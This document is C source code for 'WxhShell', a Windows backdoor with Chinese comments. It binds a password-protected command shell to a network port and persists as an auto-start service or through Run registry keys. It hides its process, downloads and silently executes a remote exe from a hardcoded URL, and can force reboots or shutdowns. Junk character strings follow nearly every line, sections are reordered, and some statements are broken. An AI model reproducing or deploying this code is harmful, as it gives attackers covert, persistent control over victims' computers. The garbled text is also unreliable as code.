  case 'd': { U:8^>_  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); #<se0CJB  
    if(Boot(SHUTDOWN)) h=)Im )  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xG<S2R2VQh  
    else { Sqfa,3?L  
    closesocket(wsh); W%Um:C\I  
    ExitThread(0); 93YD\R+q  
    } ?J)%.~!  
    break; '8%aq8  
    } OE:t!66  
  // 获取shell E1VCm[j2  
  case 's': { |5g*pXu{  
    CmdShell(wsh); d(fgv  
    closesocket(wsh); {4:En;  
    ExitThread(0); A7: oq7b  
    break; FeCQGT  
  } 8N|*n"`}  
  // 退出 EiT raWV"O  
  case 'x': { e {c.4'q  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 9|'bPOKe  
    CloseIt(wsh); EB\z:n5  
    break; P.[>x  
    } -=g`7^qa>  
  // 离开 crvWAsm  
  case 'q': { vtvr{Uqo@  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ~\i uV  
    closesocket(wsh); -"a])- j  
    WSACleanup(); ([$F5 q1TR  
    exit(1); {CGk5`g~  
    break; KY_qK)H  
        } 29Gej Lg |  
  } [N$@nA-d  
  } t?c*(?Xa  
"@ox=  
  // 提示信息 o-x_[I|@  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6J=~*&  
} j*6!7u.,K  
  } 1pz6e8p:m  
`|PxEif+J  
  return; (/hF~A  
} i.fDH57  
[KjQW/sb'  
// shell模块句柄 Th!S?{v   
int CmdShell(SOCKET sock) -(1e!5_-@  
{ -7+Fb^"L  
STARTUPINFO si; [hFyu|I !  
ZeroMemory(&si,sizeof(si)); .{8lG^0U<  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ZW\h,8%  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; `rs1!ZJ,  
PROCESS_INFORMATION ProcessInfo; *Pq`~W_M7  
char cmdline[]="cmd"; =h&^X>!  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 5 wc&0h  
  return 0; mybDK'EW  
} NtT)Wl  
Wh4lz~D\@  
// 自身启动模式 j#~4JGZt  
int StartFromService(void) dm.3.xXq  
{ 1w5p*U0 ;  
typedef struct h?CNChRJs  
{ F,EHZ,<V  
  DWORD ExitStatus; `[ne<F?e  
  DWORD PebBaseAddress; UbuxD})  
  DWORD AffinityMask; G-:DMjvN  
  DWORD BasePriority; 9GQTe1[t4  
  ULONG UniqueProcessId; k5PzY!N  
  ULONG InheritedFromUniqueProcessId; mV'd9(s?  
}   PROCESS_BASIC_INFORMATION; }- +;{u  
%R_8`4IQ  
PROCNTQSIP NtQueryInformationProcess; =RV$8.Xp  
F 'h[g.\}  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; K+GjJ8  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4mPg; n  
^^%*2^  
  HANDLE             hProcess; kPxrI=  
  PROCESS_BASIC_INFORMATION pbi; m\k$L7O  
|X_yL3`Zb  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ksK lw_%o  
  if(NULL == hInst ) return 0; vR`KRI`{  
T$q]iSgu  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); EM([N*8o  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 8EP^M~rv  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); |e pe;/  
zPVA6~|l  
  if (!NtQueryInformationProcess) return 0; _]Hn:O"o  
M$?~C~b!*  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); &XZ>}^lD^  
  if(!hProcess) return 0; Y${ $7+@  
[` i;gx[^  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 00 $W>Gr  
CE+\|5u W  
  CloseHandle(hProcess); jy1*E3vQ  
7sFjO/a*  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); mM95BUB  
if(hProcess==NULL) return 0; .vb*|So  
pQqZ4L6v  
HMODULE hMod; _-h3>.;h9  
char procName[255]; iKdC2m  
unsigned long cbNeeded; PmTA3aH  
AAs&wYp8Yh  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); #2`tsZ]=I  
b_6j77  
  CloseHandle(hProcess); rA_e3L@v#[  
}5% !: =  
if(strstr(procName,"services")) return 1; // 以服务启动 xo]|m\#k5E  
k3e $0`Q  
  return 0; // 注册表启动 YoahqXR`  
} |D<~a(0  
KBOxr5w  
// 主模块 qUVV374N  
int StartWxhshell(LPSTR lpCmdLine) V%3K")  
{ 9oN b= .  
  SOCKET wsl; Ye,E7A*L  
BOOL val=TRUE; <Z}2A8mjY  
  int port=0; iJ#sg+  
  struct sockaddr_in door; z*kn.sW  
5Rc 5/m  
  if(wscfg.ws_autoins) Install(); uWgY+T  
"&>$/b$  
port=atoi(lpCmdLine); F9Mv$ g79  
E5Z,4B  
if(port<=0) port=wscfg.ws_port; VFRUiz/C  
+A/n <VH  
  WSADATA data; 8Kv=Zp,?`  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; W4X=.vr  
(L q^C=  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   \-c70v63X  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ^e)KEkh  
  door.sin_family = AF_INET; & [4Gv61  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); F4KXx^~o  
  door.sin_port = htons(port); BQ &|=a6  
#dU-*wmJ  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { _0ep[r  
closesocket(wsl); "Bn!<h}mg  
return 1; >e'6RZRLA  
} D1#fy=u69|  
Bv@NE2  
  if(listen(wsl,2) == INVALID_SOCKET) { ub7|'+5  
closesocket(wsl); yB,$4:C  
return 1; l3rr2t  
} QGn3xM66  
  Wxhshell(wsl); w}X<]u  
  WSACleanup(); "Lw[ $  
#]cO] I  
return 0; )jm}h7,  
2E;UHR  
} `ZC_F! E  
+VCG/J  
// 以NT服务方式启动 'MVE5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) (V!:6  
{ ]>B>.s  
DWORD   status = 0; 1-.6psE  
  DWORD   specificError = 0xfffffff; !EB<e5}8wK  
)7f;FWI  
  serviceStatus.dwServiceType     = SERVICE_WIN32; j0_)DG  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; U9[QdC  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; vz[oy|{F  
  serviceStatus.dwWin32ExitCode     = 0; @Fvp~]jCb  
  serviceStatus.dwServiceSpecificExitCode = 0; DP_ ]\V<sT  
  serviceStatus.dwCheckPoint       = 0; {DlQTgP  
  serviceStatus.dwWaitHint       = 0; rom`%qp^  
"MM)AY*b  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); !8~A`  
  if (hServiceStatusHandle==0) return; >BFUts%  
YS],o'T  
status = GetLastError(); }w&W\g+E$  
  if (status!=NO_ERROR) x *:v]6y  
{ ?DJ/Yw>>3  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; )d(F]uV:y  
    serviceStatus.dwCheckPoint       = 0; @:s (L]  
    serviceStatus.dwWaitHint       = 0; Wz{,N07Q#{  
    serviceStatus.dwWin32ExitCode     = status; u]0{#wu;g  
    serviceStatus.dwServiceSpecificExitCode = specificError; #w]UP#^io  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); kZ5;Fe\*  
    return; ^-nL!>FYY  
  } U-+o6XX  
l/xpAx  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; r_>]yp  
  serviceStatus.dwCheckPoint       = 0; uSQlE=  
  serviceStatus.dwWaitHint       = 0; 12]rfd   
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); p ; ]Qxh  
} pf% yEz  
@V}!elV  
// 处理NT服务事件,比如:启动、停止 MxLg8,M  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ZX0#I W  
{ SL[EOz#  
switch(fdwControl) zQ~N(Jj?h  
{ GAP,$xAaW  
case SERVICE_CONTROL_STOP: E[NszM[P  
  serviceStatus.dwWin32ExitCode = 0; >q&X#E<w  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; awB+B8^s  
  serviceStatus.dwCheckPoint   = 0; .+) AeGh  
  serviceStatus.dwWaitHint     = 0; 0}mVP  
  { ;UpdkY 1  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )ko[_OJj  
  } 7TtDI=f  
  return; \RS0mb  
case SERVICE_CONTROL_PAUSE: 2WUl8?f2Y  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; g ySl.cxt  
  break; f = 'AI  
case SERVICE_CONTROL_CONTINUE: V}h <,E9  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ~K@p`CRbV  
  break; \MDhm,H<  
case SERVICE_CONTROL_INTERROGATE: }ijFvIHV  
  break; bfq%.<W  
}; B7.<A#y2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]T=o>%  
} 14`S9SL{V  
R$x(3eyx  
// 标准应用程序主函数 *X!+wK-+  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 4axuE]  
{ mtf><YU  
/b]+RXvxj  
// 获取操作系统版本 }XD=N#p@z  
OsIsNt=GetOsVer(); h AJ^(|  
GetModuleFileName(NULL,ExeFile,MAX_PATH); YF(bl1>YC  
UNA!vzOb  
  // 从命令行安装 W[LQ$uj  
  if(strpbrk(lpCmdLine,"iI")) Install(); [dy0aR$>d  
19bqz )  
  // 下载执行文件 q}]z8 L  
if(wscfg.ws_downexe) { Wb5n> *  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) !jg< S>S5  
  WinExec(wscfg.ws_filenam,SW_HIDE); g*WY kv  
} ,Vy_%f  
To;r#h  
if(!OsIsNt) { 2]5ux!Lqln  
// 如果时win9x,隐藏进程并且设置为注册表启动 ]4Q~x  
HideProc(); MFz6y":~  
StartWxhshell(lpCmdLine); :n OCs  
} Yq:+.UU  
else q4niA  
  if(StartFromService()) ynn>d  
  // 以服务方式启动 ~PX#' Jr  
  StartServiceCtrlDispatcher(DispatchTable); [M?&JA_$}  
else +hIMfhF  
  // 普通方式启动 o;v_vCLO  
  StartWxhshell(lpCmdLine); C}71SlN'M  
A<-3u  
return 0; yG<Q t+D  
} $*7AG  
HHZrovA#  
QaLVIsnfN  
W3xObt3w\  
=========================================== {'o\#4 Wk  
H,)2Ou-Wn  
:&m0eZZ%  
|Gt]V`4  
#Qd"d3QG  
~t^'4"K*  
" 4K!@9+Mz  
- P'c0I9z  
#include <stdio.h> Bz6Zy)&sAL  
#include <string.h> G:;(,  
#include <windows.h> ETaLE[T%1  
#include <winsock2.h> *%QTv3{  
#include <winsvc.h> Gl5W4gW;&  
#include <urlmon.h> vUg o)C#<  
sX]ru^F3  
#pragma comment (lib, "Ws2_32.lib") @W!cC#u  
#pragma comment (lib, "urlmon.lib") rY(^6[!  
#}zL?s^G  
#define MAX_USER   100 // 最大客户端连接数 !Baq4V?KN  
#define BUF_SOCK   200 // sock buffer CfjVx   
#define KEY_BUFF   255 // 输入 buffer >=ng?  
A@OSh6/{h  
#define REBOOT     0   // 重启 TYgn X  
#define SHUTDOWN   1   // 关机 ,7izrf8  
&^JY  
#define DEF_PORT   5000 // 监听端口 <utD&D8w  
VTxLBFK;  
#define REG_LEN     16   // 注册表键长度 FrD,)Ad8Q  
#define SVC_LEN     80   // NT服务名长度 I)F3sS45}  
%-~T;_.  
// 从dll定义API ]0)=0pc]E  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); [<7Vv_\Q  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ue#Y h  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ~<w9a]  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); C6(WnO{6  
m' suAj0  
// wxhshell配置信息 gDjs:]/YR  
struct WSCFG { C~a- R#  
  int ws_port;         // 监听端口 rWMG_eP:  
  char ws_passstr[REG_LEN]; // 口令 '74-rL:i  
  int ws_autoins;       // 安装标记, 1=yes 0=no N>4uqFo  
  char ws_regname[REG_LEN]; // 注册表键名 edD"jq)J  
  char ws_svcname[REG_LEN]; // 服务名 D$ +"n  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 0`dMT>&I  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 !{L`Zd;C>w  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ce\ F~8y  
int ws_downexe;       // 下载执行标记, 1=yes 0=no f*^)0Po  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" P2;I0 !  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 7I_lTu(  
RxVf:h'l  
}; )pA N_e"  
9@."Y>1G  
// default Wxhshell configuration 30v 3C7o=  
struct WSCFG wscfg={DEF_PORT, H#B~ h4#  
    "xuhuanlingzhe", <H)I06];  
    1, ymLhSF][  
    "Wxhshell", l[q%1-N  
    "Wxhshell", dM1)wkbET  
            "WxhShell Service", s]=s|  
    "Wrsky Windows CmdShell Service", 1wpeYn7>W  
    "Please Input Your Password: ", jWd 7>1R?  
  1, P]@m0f  
  "http://www.wrsky.com/wxhshell.exe", ^"h`U'YC  
  "Wxhshell.exe" IP`;hC  
    }; jtk2>Ol   
K~_[[)14b  
// 消息定义模块 TB gD"i-  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 1Yy5bg6+E  
char *msg_ws_prompt="\n\r? for help\n\r#>"; F-k3F80=  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ]&3UF?  
char *msg_ws_ext="\n\rExit."; f-?00*T  
char *msg_ws_end="\n\rQuit.";  >y&4gm  
char *msg_ws_boot="\n\rReboot..."; 1X4v:rI  
char *msg_ws_poff="\n\rShutdown..."; *FkG32k  
char *msg_ws_down="\n\rSave to "; m>gok0{pm  
O7shY4Sr  
char *msg_ws_err="\n\rErr!"; _-*Lj;^V  
char *msg_ws_ok="\n\rOK!"; 9tVA.:FOZ  
aZYa<28?L%  
char ExeFile[MAX_PATH]; =>Vo|LBoe  
int nUser = 0; h'x|yy]@3  
HANDLE handles[MAX_USER]; 9&=~_,wJd  
int OsIsNt; 8Hf!@p6R+  
oXg KuR  
SERVICE_STATUS       serviceStatus; (63_  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; |Ebwl]X2  
.N99=%[}h  
// 函数声明 cbl2D5s+i]  
int Install(void); M* (]hu0!  
int Uninstall(void); nJ#uz:(w,  
int DownloadFile(char *sURL, SOCKET wsh); s% "MaDz  
int Boot(int flag); @8TD^ub  
void HideProc(void); yVm~5Y&Z  
int GetOsVer(void); k~u$&a  
int Wxhshell(SOCKET wsl); )eNR4nF  
void TalkWithClient(void *cs); MJJy mi'b  
int CmdShell(SOCKET sock); |A0LYKni  
int StartFromService(void); *M5 =PQfb  
int StartWxhshell(LPSTR lpCmdLine); *doK$wYP  
| eIN<RY5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); w} *;^n  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); S*6P=O*  
o~,dkV  
// 数据结构和表定义 ja}_u}:  
SERVICE_TABLE_ENTRY DispatchTable[] =  /E/J<  
{ Y25S:XHk9  
{wscfg.ws_svcname, NTServiceMain}, >&tPIrz  
{NULL, NULL} 3qPj+@  
}; _e$15qW+  
KFdTw{GlJ7  
// 自我安装 )_OKw?Zi  
int Install(void) bE.,)GY  
{ Mxn>WCPo  
  char svExeFile[MAX_PATH]; ahA21W` k  
  HKEY key; f( 5c  
  strcpy(svExeFile,ExeFile); Ln0rm9FV-  
;1&%Wj"d  
// 如果是win9x系统,修改注册表设为自启动 M ()&GlNs  
if(!OsIsNt) { Od70w*,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *{8K b>D  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); mL`,v WL/`  
  RegCloseKey(key); 6Yebc_, R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *z;4. OX  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Vo<V!G{  
  RegCloseKey(key); Juj"cjob  
  return 0; 7OX5"u!2  
    } e.jrX;;$!&  
  } BpZE  
} qc\]~]H]r  
else { x2 /\%!mt  
z=B*s!G  
// 如果是NT以上系统,安装为系统服务 Ehu^_HZ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 5mUHk]W  
if (schSCManager!=0) v{ Md4 p  
{ xGTVC=q  
  SC_HANDLE schService = CreateService Esvr~)Y  
  ( #L5H-6nz  
  schSCManager, Yo3my>N&g  
  wscfg.ws_svcname, r$}M,! J  
  wscfg.ws_svcdisp, $L_-U~^  
  SERVICE_ALL_ACCESS, M_*"g>Z  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , F|3Te?_  
  SERVICE_AUTO_START, &^Q-:Kxs8  
  SERVICE_ERROR_NORMAL, @ofivCc<%  
  svExeFile, \,)('tUE  
  NULL, =B@+[b0Z  
  NULL, ;rZR9fR  
  NULL, UZ7Zzc#g  
  NULL, HZC^Q7]hy  
  NULL =V~p QbZ  
  ); 7p*PDoM6`  
  if (schService!=0) =aZgq99  
  { 8&<C.n KP  
  CloseServiceHandle(schService); H <41H;m  
  CloseServiceHandle(schSCManager); `~0)}K.F  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); S?ELFq(g  
  strcat(svExeFile,wscfg.ws_svcname); 4{4VC"fa  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { "j-Z<F]]  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); r(WR=D{  
  RegCloseKey(key); \6A Yx[|  
  return 0; o;5 J=  
    } ?e( y/  
  } 4.Luy  
  CloseServiceHandle(schSCManager); .kKU MyW(  
} ZLm?8g6-  
} F6XrJ?JM  
Q(v*I&k  
return 1; lz1RAp0R "  
} ,F}\njL  
%S*<2F9  
// 自我卸载 C:z+8wt  
int Uninstall(void) |Z6M?n  
{ *UL++/f  
  HKEY key; k*XI/k5Vc  
E%Tpby}^'  
if(!OsIsNt) { lGoP(ki  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >?3yVE  
  RegDeleteValue(key,wscfg.ws_regname); _[%2QwAUj*  
  RegCloseKey(key); 1M@OBfB8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { FTu6%~M/  
  RegDeleteValue(key,wscfg.ws_regname); Y=G9|7*lO  
  RegCloseKey(key);  ;IV  
  return 0; @6["A'h  
  } Uk1|y\  
} yV"k:_O{  
} J!{"^^*  
else { HpLCOY1-  
VrQgn9L  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); _PPZ!r(  
if (schSCManager!=0) FS'|e?WU  
{ %_P[ C}4  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 5r2A^<)  
  if (schService!=0) ) |t;nK,  
  { *sJT\J$D[  
  if(DeleteService(schService)!=0) { @ra^0  
  CloseServiceHandle(schService); hZZ  
  CloseServiceHandle(schSCManager); T6ihEb$C  
  return 0; xdLMy#U2  
  } og[cwa_  
  CloseServiceHandle(schService); 1j_gQ,'20  
  } V><,.p8  
  CloseServiceHandle(schSCManager); -s3q(SH  
} UWXl c  
} kuq&8f~!  
B}(r>8?dm  
return 1; !eu\ShI  
} Sj'Iz #  
 Y+d+  
// 从指定url下载文件 9}|x N8  
int DownloadFile(char *sURL, SOCKET wsh) 1a gNwFd~  
{ yR3pK 0Y(?  
  HRESULT hr; <da-iY\5  
char seps[]= "/"; A+=K<e  
char *token; P#!^9)3  
char *file; ^? V9  
char myURL[MAX_PATH]; +$YH dgZ.  
char myFILE[MAX_PATH]; $2E&~W %  
ey]WoUZ  
strcpy(myURL,sURL); @B`nM#X#  
  token=strtok(myURL,seps); [C#H _y(  
  while(token!=NULL) =OeLF  
  { 'NNfzh  
    file=token; uXouN$&  
  token=strtok(NULL,seps); \ z3>kvk  
  } $'x#rW>v  
,p>@:C/M  
GetCurrentDirectory(MAX_PATH,myFILE); I=pFGU  
strcat(myFILE, "\\"); *!.anbo@?z  
strcat(myFILE, file); 2EH0d6nt  
  send(wsh,myFILE,strlen(myFILE),0); #F=!g?  
send(wsh,"...",3,0); yBRYEqS+  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 2b/Cs#-  
  if(hr==S_OK) ]]NTvr  
return 0; "-Yj~  
else S}P rgw/  
return 1; G ?Hx"3:?  
+O)Y7k{?C5  
} 0V ZC7@  
{G+iobQdd  
// 系统电源模块 []$L"?]0uk  
int Boot(int flag)  5]*!N  
{ v,kvLjqt  
  HANDLE hToken; W2&(:C8V@  
  TOKEN_PRIVILEGES tkp; ,1B` Ve  
s o7.$]aV  
  if(OsIsNt) { qfX26<q  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); qP$)V3l  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); j[A:So  
    tkp.PrivilegeCount = 1; Am|)\/K+Z  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; w6h*dh$w  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); DP-0,Gt&Xj  
if(flag==REBOOT) { U4[GA4DZ   
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) #5=W[+4eN  
  return 0; 26;Gt8  
} "d`u#YmR  
else { (^"2"[?a  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) pL . 0_  
  return 0; S0tkqA4  
} A&A{Thz  
  } 4Y{;%;-i  
  else { %=Y=]g2  
if(flag==REBOOT) { 8Wo!NG:V5  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) <I#M^}`  
  return 0; +4Fw13ADE  
} ExM VGe  
else { aU@1j;se@  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ?E<9H/  
  return 0; B>4/[ YHr;  
} M!D6i5k,   
} Y^nm{;G+  
tyWDa$u,u  
return 1; }KO <II  
} s7sTY   
_u'y7-  
// win9x进程隐藏模块 pSI8"GwQ  
void HideProc(void) ?bpV dm!  
{ VkO*+"cGv  
4U16'd  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); &8Z .m,s]  
  if ( hKernel != NULL ) 5^R?+<rd  
  { J7qTE8W=  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 1 +Ue m  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); S;y4Z:!  
    FreeLibrary(hKernel); 2% /Kf}+  
  } T"aE]4_  
7>f"4r_r6<  
return; ksCF"o /@V  
} Pjn{3/*wi  
,<'>j a C  
// 获取操作系统版本 oam;hmw  
int GetOsVer(void) 9e c},~(  
{ P -nhG  
  OSVERSIONINFO winfo; N'-[>w7vK2  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); s2GF*{  
  GetVersionEx(&winfo); aL`wz !  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) VX82n,'=t  
  return 1; Z1:%Aq xP  
  else {y a .  
  return 0; 6}?d%K  
} qv}ECQ  
k& +gkJm  
// 客户端句柄模块 dq`{fqGl  
int Wxhshell(SOCKET wsl) D7T|K :F)  
{ -B9e&J {K  
  SOCKET wsh; \@WVeFr  
  struct sockaddr_in client; 9cUa@;*1  
  DWORD myID; biU_ImJ>0  
Q$:Q6 /5.  
  while(nUser<MAX_USER) 7s#8-i  
{ R ZQH#+*t}  
  int nSize=sizeof(client); ux)*B}/xh  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 6% ofS8 [  
  if(wsh==INVALID_SOCKET) return 1; &Cv  
lZ.lf.{F  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); BWy-R6br  
if(handles[nUser]==0) \U]K!K=  
  closesocket(wsh); aEvbGo  
else  +:-xV  
  nUser++; $/D?Vw:]  
  } @R50M (@W  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ;'8Wl  
 <{Y3}Q  
  return 0; ]6[+tpx  
} q%e'WMG~n  
>MN"87U6  
// 关闭 socket JJ ?'<)EF  
void CloseIt(SOCKET wsh) 7=^}{  
{ _!qD/ [/  
closesocket(wsh); >Ti%Th,  
nUser--; (,#m+  
ExitThread(0); b7dsi|Yo  
} 4RB%r  
f^B'BioW(  
// 客户端请求句柄 '(3 QyCD  
void TalkWithClient(void *cs) " WQ6[;&V  
{ t-KicLr  
r^}0 qO,XM  
  SOCKET wsh=(SOCKET)cs; .Iqqjk  
  char pwd[SVC_LEN]; `x/i1^/_@  
  char cmd[KEY_BUFF]; 5)T[ha77u  
char chr[1]; V<S6 a  
int i,j; ^C ~Ryw7  
sIf]e'@AC  
  while (nUser < MAX_USER) { mI,lW|/l,  
zgEN2d  
if(wscfg.ws_passstr) { AZc= Bbh  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); EA>.SSs!  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); C{85#`z`  
  //ZeroMemory(pwd,KEY_BUFF); rP7 QW)NF  
      i=0; 6CHb\k  
  while(i<SVC_LEN) { {:!>Y1w>  
l1k&@1"  
  // 设置超时 7:?\1 a  
  fd_set FdRead; A)"L+Yu5  
  struct timeval TimeOut; s=(q#Z  
  FD_ZERO(&FdRead); 3pvqF,"~D  
  FD_SET(wsh,&FdRead); jOzXyDq  
  TimeOut.tv_sec=8; L5I!YP#v  
  TimeOut.tv_usec=0; 0}NDi|o  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); E|c(#P{  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 56<UxIa~  
]-X6Cl  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); CdRJ@Lf  
  pwd=chr[0]; 6WZffB{-TK  
  if(chr[0]==0xd || chr[0]==0xa) { {guOAT- w  
  pwd=0; _J6 Xq\  
  break; u:|^L]{  
  } JK< []>O  
  i++; Pz0MafF|T  
    } P'tXG  
9!X3Cv|+L  
  // 如果是非法用户,关闭 socket /A,w{09G  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); PF/K&&9}  
} D(']k?  
K9Mz4K_  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); # tu>h  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Gl'G;F$Y-  
N`efLOMl]  
while(1) { d"Zu10  
YdO*5Gb6  
  ZeroMemory(cmd,KEY_BUFF); tlp,HxlP  
G1jj:]1  
      // 自动支持客户端 telnet标准   46NuT]6/4  
  j=0; T>% 5<P  
  while(j<KEY_BUFF) { rc[~S  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); I9G^T' W  
  cmd[j]=chr[0]; J78.-J5 j0  
  if(chr[0]==0xa || chr[0]==0xd) { Wj,s/Yr:  
  cmd[j]=0; .kU^)H" l  
  break; J$yq#LBbR@  
  } uFSU|SDd.  
  j++; \78^ O  
    } ULz<P  
x@q.u3o9  
  // 下载文件 v}u]tl$,  
  if(strstr(cmd,"http://")) { ^7+;XUyg  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); d*s*AV  
  if(DownloadFile(cmd,wsh)) &,G2<2_b  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); \;N+PE  
  else @ywtL8"1~  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %Ve@DF8G  
  } ben-<3r  
